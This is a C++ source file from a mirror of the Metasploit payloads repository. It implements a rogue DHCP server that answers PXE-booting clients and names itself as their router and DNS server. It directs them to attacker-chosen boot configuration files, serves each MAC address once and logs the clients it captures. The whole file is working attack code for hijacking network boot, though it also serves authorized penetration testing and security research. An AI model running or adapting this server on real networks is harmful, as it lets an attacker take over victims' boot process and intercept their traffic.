1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00
OJ 7702724fd2 Remove all warnings resulting in totally clean builds
Does as it says on the tin. Various tweaks made to source and to project
files to make the builds come out with ZERO warnings.

Let's keep it clean from here!
2013-11-06 19:02:50 +10:00

491 lines
12 KiB
C++

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"Ws2_32.lib")
#else
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#endif
#include <string>
#include <set>
#include <sstream>
using namespace std;
#include "dhcpserv.h"
#ifdef WIN32
typedef int socklen_t;
#endif
extern "C" {
int startDHCPServer(void * server){
return ((DHCPserv*)server)->start();
}
int stopDHCPServer(void * server){
return ((DHCPserv*)server)->stop();
}
// Creates DHCP server
void* createDHCPServer(){
return (void*) new DHCPserv();
}
// Deletes the server
void destroyDHCPServer(void * server){
delete (DHCPserv*)server;
}
// Sets an option in the server
void setDHCPOption(void * server, char* name, unsigned int namelen, char* opt, unsigned int optlen){
string namestr(name,namelen);
string optstr(opt,optlen);
((DHCPserv*)server)->setOption(namestr,optstr);
}
// Gets the DHCP log
unsigned char * getDHCPLog(void * server, unsigned long * size){
string * log = ((DHCPserv*)server)->getLog();
*size = (unsigned long)log->size();
unsigned char* res = (unsigned char*)malloc(*size);
memcpy(res, log->data(), *size);
log->clear();
return res;
}
}
//Gets IP of default interface, or at least default interface to 8.8.8.8
unsigned int getLocalIp(){
//get socket
SOCKET smellySock = socket(AF_INET, SOCK_DGRAM, 0);
if (smellySock == INVALID_SOCKET)
{
return 0;
}
//Se up server socket address
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = 0x08080808; //8.8.8.8
connect(smellySock, (const sockaddr*) &server, sizeof(server));
struct sockaddr_in myaddr;
socklen_t size = sizeof(myaddr);
getsockname(smellySock, (struct sockaddr*)&myaddr, &size);
#ifdef WIN32
closesocket(smellySock);
#else
close(smellySock);
#endif
return ntohl(*((unsigned int*) & myaddr.sin_addr));
}
// Creates a DHCP option of format type length value
string dhcpoption(unsigned char type, string val){
string ret(1,type);
ret.append(1, (char) val.length()).append(val);
return ret;
}
// Creates a DHCP option with no value
string dhcpoption(unsigned char type){
string ret(1,type);
ret.append(1, '\x00');
return ret;
}
//convert long to IP binary string
string iton(unsigned int ip){
unsigned int source = htonl(ip);
string res((char *)&source,4);
return res;
}
//constructor
DHCPserv::DHCPserv(): options(), log(), thread(NULL), smellySock(0), shuttingDown(false){
}
// Sets an option
void DHCPserv::setOption(string option, string value){
options[option] = value;
}
// Asks server to stop
int DHCPserv::stop(){
shuttingDown = true;
DWORD res = 0xffffffff;
if(thread != NULL)
res = WaitForSingleObject(thread, 5000);
thread = NULL;
return res;
}
// Method to pass to CreateThread
DWORD WINAPI runDHCPServer(void* server)
{
return ((DHCPserv*)server)->run();
}
// Starts server
int DHCPserv::start()
{
//reset log
log.clear();
//get socket
smellySock = socket(AF_INET, SOCK_DGRAM, 0);
if (smellySock == INVALID_SOCKET)
{
return invalidSocket;
}
//Se up server socket address
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(dhcpServPort);
server.sin_addr.s_addr = 0; //a.k.a. INADDR_ANY
// Get local IP
string hoststr("SRVHOST");
if (options.count(hoststr) > 0)
{
myIp = ntohl(inet_addr(options[string(hoststr)].c_str()));
server.sin_addr.s_addr = htonl(myIp);
}
else
{
myIp = getLocalIp();
}
if (myIp == 0 || myIp == 0xffffffff)
{
return ipError;
}
// Bind address to socket
if (bind(smellySock, (struct sockaddr *)&server, sizeof(server)) != 0)
{
return bindError;
}
// Now run it!
thread = CreateThread(NULL, 0, &runDHCPServer, this, 0, NULL);
if (thread != NULL)
{
return ERROR_SUCCESS;
}
return GetLastError();
}
// Determines whether ip option should be updated based on option name
void DHCPserv::ipOptionCheck(unsigned int * defaultOption, char * option)
{
string s(option);
if (options.count(s) > 0)
{
(*defaultOption) = ntohl(inet_addr(options[s].c_str()));
}
}
// Determines whether string option should be updated based on option name
void DHCPserv::stringOptionCheck(string * defaultOption, char * option)
{
string s(option);
if (options.count(s) > 0)
{
(*defaultOption) = options[s];
}
}
//Internal run method that does all the hard work
int DHCPserv::run()
{
//All IP-related options are in host byte order
//get SRVHOST
if (myIp == 0)
{
return localIpError; //No default route?
}
string ipString = iton(myIp);
//get DHCPIPSTART
unsigned int startIp = myIp + 1; //default start is just above our IP
ipOptionCheck(&startIp, "DHCPIPSTART");
unsigned int currentIp = startIp;
//get DHCPIPEND
unsigned int endIp = (myIp | 0xFFFFFF00) + 0xFE; //last octet is .254
ipOptionCheck(&endIp, "DHCPIPEND");
//get NETMASK
unsigned int netmask = 0xFFFFFF00; //default class C
ipOptionCheck(&netmask, "NETMASK");
//get ROUTER
unsigned int router = myIp; //we are default ROUTER
ipOptionCheck(&router,"ROUTER");
//get DNSSERVER
unsigned int dnsServer = myIp; //we are default DNSSERVER
ipOptionCheck(&dnsServer, "DNSSERVER");
//get BROADCAST
unsigned int broadcast = INADDR_BROADCAST; //Mandatory for some clients
ipOptionCheck(&broadcast, "BROADCAST");
//get SERVEONCE
bool serveOnce = true;
string soncestr("SERVEONCE");
if (options.count(soncestr) > 0)
{
serveOnce = atoi(options[soncestr].c_str()) != 0 || (options[soncestr].at(0) | 0x20) == 't';
}
//get PXE
bool servePXE = true;
string pxestring("PXE");
if (options.count(pxestring) > 0)
{
servePXE = atoi(options[pxestring].c_str()) != 0 || (options[pxestring].at(0) | 0x20) == 't';
}
//get HOSTNAME
string hostname; //hostname to give out
stringOptionCheck(&hostname, "HOSTNAME");
//get HOSTSTART
unsigned int servedOver = 0;
string hoststr("HOSTSTART");
if(options.count(hoststr) > 0)
servedOver = atoi(options[hoststr].c_str());
//get DHCP filename
string fileName("update1");
stringOptionCheck(&fileName, "FILENAME");
fileName.append(128 - fileName.length(), '\x00');
//get pxelinux conf filename
string pxeConfigFile("update2");
stringOptionCheck(&pxeConfigFile, "PXECONF");
string pxeAltConfigFile("update0");
stringOptionCheck(&pxeAltConfigFile, "PXEALTCONF");
string pxePathPrefix("");
//get DHCP parameters
unsigned int leaseTime = 600;
unsigned int relayIp = 0; // relay ip - not currently suported
unsigned int pxeRebootTime = 2000;
//Se up broadcast socket address
struct sockaddr_in broadcastAddr;
broadcastAddr.sin_family = AF_INET;
broadcastAddr.sin_port = htons(68);
broadcastAddr.sin_addr.s_addr = htonl(broadcast); //a.k.a. inet_addr("255.255.255.255")
int value = 1;
if (setsockopt(smellySock, SOL_SOCKET, SO_BROADCAST, (char*)&value, sizeof(value)) != 0)
{
return setsockoptError;
}
// Setup timeout
fd_set sockSet;
int n;
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 100;
// Setup tracker for served yet
set<string> served;
//Main packet-handling loop
while (true)
{
//Wait for request
FD_ZERO(&sockSet);
FD_SET(smellySock, &sockSet);
n = select(1, &sockSet, NULL, NULL, &tv);
if (n == 0) //Timeout
{
if (!shuttingDown)
{
continue;
}
else //we're done!
{
break;
}
}
else if (n == -1)
{
break; //Error
}
//Get request
char receiveBuf[bufferSize];
struct sockaddr client;
socklen_t clientLength = sizeof(client);
int receiveSize = recvfrom(smellySock, receiveBuf, bufferSize, 0, &client, &clientLength);
if (receiveSize <= 240) break; //Error would be -1, DHCP packet must be at least 240
//String-ize it!
string receivedPacket(receiveBuf,receiveSize);
char type = receivedPacket.at(0);
//char hwtype = receivedPacket.at(1);
char hwlen = receivedPacket.at(2);
//char hops = receivedPacket.at(3);
string txid = receivedPacket.substr(4,4); //like buf[4..7]
string elapsed = receivedPacket.substr(8,2);
string flags = receivedPacket.substr(10,2);
string clientip = receivedPacket.substr(12,4);
string givenip = receivedPacket.substr(16,4);
string nextip = receivedPacket.substr(20,4);
string receivedRelayip = receivedPacket.substr(24,4);
string clienthwaddr = receivedPacket.substr(28,hwlen);
string servhostname = receivedPacket.substr(44,64);
string filename = receivedPacket.substr(108,128);
string magic = receivedPacket.substr(236,4);
if (type != Request || magic.compare(DHCPMagic) != 0)
{
continue; //Verify DHCP request
}
unsigned char messageType = 0;
bool pxeclient = false;
// options parsing loop
unsigned int spot = 240;
while (spot < receivedPacket.length() - 3)
{
unsigned char optionType = receivedPacket.at(spot);
if (optionType == 0xff)
{
break;
}
unsigned char optionLen = receivedPacket.at(spot + 1);
string optionValue = receivedPacket.substr(spot + 2, optionLen);
spot = spot + optionLen + 2;
if (optionType == 53)
{
messageType = optionValue.at(0);
}
else if (optionType == 150)
{
pxeclient = true;
}
}
if (pxeclient == false && servePXE == true)
{
continue;//No tftp server request; ignoring (probably not PXE client)
}
// prepare response
ostringstream pkt;
pkt << Response;
pkt << receivedPacket.substr(1,7); //hwtype, hwlen, hops, txid
string elaspedFlags("\x00\x00\x00\x00",4); //elapsed, flags
pkt << elaspedFlags;
pkt << clientip;
if (messageType == DHCPDiscover)
{
// give next ip address (not super reliable high volume but it should work for a basic server)
currentIp += 1;
if (currentIp > endIp)
{
currentIp = startIp;
}
}
pkt << iton(currentIp);
pkt << ipString; //next server ip
pkt << iton(relayIp);
pkt << receivedPacket.substr(28,16); //client hw address
pkt << servhostname;
pkt << fileName;
pkt << DHCPMagic;
pkt << "\x35\x01"; //Option
if (messageType == DHCPDiscover)
{ //DHCP Discover - send DHCP Offer
pkt << DHCPOffer;
}
else if (messageType == DHCPRequest)
{ //DHCP Request - send DHCP ACK
pkt << DHCPAck;
if (servedOver != 0) // NOTE: this is sufficient for low-traffic net
{
servedOver += 1;
}
}
else
{
continue; //ignore unknown DHCP request
}
// Options!
pkt << dhcpoption(OpDHCPServer, ipString);
pkt << dhcpoption(OpLeaseTime, iton(leaseTime));
pkt << dhcpoption(OpSubnetMask, iton(netmask));
pkt << dhcpoption(OpRouter, iton(router));
pkt << dhcpoption(OpDns, iton(dnsServer));
string pxemagic(PXEMagic,4);
pkt << dhcpoption(OpPXEMagic, pxemagic);
// check if already served based on hw addr (MAC address)
if (serveOnce == true && served.count(clienthwaddr) > 0)
{
pkt << dhcpoption(OpPXEConfigFile, pxeAltConfigFile); //Already served; allowing normal boot
}
else
{
pkt << dhcpoption(OpPXEConfigFile, pxeConfigFile);
if (messageType == DHCPRequest)
{
log.append(clienthwaddr);
log.append(iton(currentIp));
}
}
pkt << dhcpoption(OpPXEPathPrefix, pxePathPrefix);
pkt << dhcpoption(OpPXERebootTime, iton(pxeRebootTime));
if ( hostname.length() > 0 )
{
ostringstream sendHostname;
sendHostname << hostname;
if (servedOver != 0)
{
sendHostname << servedOver;
}
pkt << dhcpoption(OpHostname, sendHostname.str());
}
pkt << dhcpoption(OpEnd);
string sendPacket = pkt.str();
// now mark as served. We will then ignore their discovers
//(but we'll respond to requests in case a packet was lost)
if (messageType == DHCPRequest)
{
served.insert(clienthwaddr);
}
//Send response
int sent = sendto(smellySock, sendPacket.c_str(), (int)sendPacket.length(), 0, (struct sockaddr*)&broadcastAddr, (int)sizeof(broadcastAddr));
if (sent != (int)sendPacket.length())
{
break; //Error
}
}
#ifdef WIN32
closesocket(smellySock);
#else
close(smellySock);
#endif
return 0;
}